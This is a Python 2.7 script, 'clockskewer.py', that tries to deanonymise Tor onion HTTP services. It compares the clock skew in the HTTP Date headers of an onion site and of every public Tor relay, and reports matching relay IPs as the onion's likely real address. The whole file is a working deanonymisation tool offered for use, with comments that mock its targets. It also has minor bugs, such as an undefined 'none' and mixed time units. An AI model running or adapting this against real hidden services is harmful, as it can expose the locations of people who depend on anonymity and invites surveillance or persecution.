#!/usr/bin/env python2.7
#
# clockskewer.py -- skewers http servers in onionland to an ip address
#
# This script takes advantage of the fact that no one
# in onionland configures their http server correctly
# by having it send datetime stamps in every response
# 
# calculates the clockskew and then finds a corrilating
# tor relay with an open http server with the same skew
#
# catches people with their pants down, sadly lots of 
# onionlanders have no pants and don't realize it :3
#
# WTFPL 2012 Jeff Becker
#
# @ampernand <--- follow my ass on twitter if you care
#
import socks
from pytorctl import TorCtl as ctl
from datetime import datetime
import logging,socket


localhost='127.0.0.1'
# uncomment for using special ssh tunnel located at dash
# localhost='dash'

socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5,localhost,port=9050)
logging.basicConfig(format='>> %(message)s',level=logging.INFO)
reg_socket = socket.socket
debug = logging.debug
info = logging.info
warn = logging.warning
error = logging.error

def torcontrol():
    """
    open control session
    """
    s = reg_socket()
    s.connect((localhost,9051))
    c = ctl.Connection(s)
    c.authenticate()
    return c

def get_relays():
    """
    Get all relays that your tor relay knows of
    """
    info('Get List Of Relays')
    c = torcontrol()
    if c is None:
        error('Could not connect to tor control port')
        return None
    ret = []
    re = c.get_network_status(get_iterator=True)
    c.close()
    if re is None:
        error('Failed to get relay list')
        return none
    for r in re:
        ret.append(r.ip)
    info('Got %d relays'%len(ret))
    return ret

now = datetime.utcnow


def skew(dstamp,timeformat='%a, %d %b %Y %H:%M:%S GMT'):
    """
    most common type of timestamp i've seen on onionland is
    %a, %d %b %Y %H:%M:%S GMT

    default to use that
    """
    return now() - datetime.strptime(dstamp,timeformat)

def http(host,ua='Onionland Clockskewer 0.1'):
    """
    do an http request and get the "Date" header and the "Server" header

    returns 

        skew_in_ms, server_header

    or in the event of an error or both headers not found:
        None, None
    """
    debug('REQUEST http://%s/'%host)
    try:
        dstamp = None
        server = None
        s = socks.socksocket()
        debug('CONNECT')
        s.connect((host,80))
        debug('REQUEST')
        s.send('GET / HTTP/1.1\r\n')
        s.send('Host: %s\r\n'%host)
        s.send('User-Agent: %s\r\n'%ua)
        s.send('\r\n')
        resp = ''
        count = 0
        r = 0
        # begin masive hack
        while True:
            r += 1
            if r > 9000:
                break
            c = s.recv(1)
            if c is None or c == '':
                debug('break')
                break
            resp += c
            if resp.count('\r\n') > 0:
                count += 1
                if resp == '\r\n':
                    break
                line = resp.strip()
                if count == 1:
                    if line.count('HTTP') == 0:
                        raise Exception()
                    resp = ''
                    continue
                if len(line) == 0:
                    break
                i = line.index(':')
                k = line[:i].strip()
                v = line[i+1:].strip()
                if k == 'Date':
                    dstamp = v
                elif k == 'Server':
                    server = v
                resp = ''

        #end massive hack
        s.close()
        return skew(dstamp), server
    except Exception as e:
        return None, None

def check(onion,ip,delta):
    """
    check to see if an onion is similar to a clearnet machine

    1) request onion
    2) request clearnet
    3) compute difference of skews
    4) if the difference of the skews is <= delta we have a potential candidate
    """
    t1,s1 = http(onion)
    if t1 is None:
        return False
    t2,s2 = http(ip)
    if t2 is None:
        return False
    try:

        d = t1 - t2
        d = abs( d.microseconds )  + abs (d.seconds ) * 1000
        return d <= delta 
    except:
        warn('Failed to check %s vs %s'%(onion,ip))
    return False
        


def clockskewer(onions):
    possible = []
    relays = get_relays()
    if relays  is None:
        return 
    for onion in onions: 
        info('Locating %s'%onion)
        res = 0
        # iterate through all the tor relays in the public list
        # this can take days if not weeks for each iteration
        for ip in relays:
            if check(onion,ip,7000):
                info('!!!!')
                info('POSSIBLE MATCH: %s ->  %s'%(onion,ip))
                possible.append((onion,ip))
                res += 1
        info('Possible Matches for %s : %d'% (onion,res))
    info('Found %d results'%len(possible))
    for p in possible:
        info('%s -> %s'%p)

if __name__ == '__main__':
    import sys
    clockskewer(sys.argv[1:])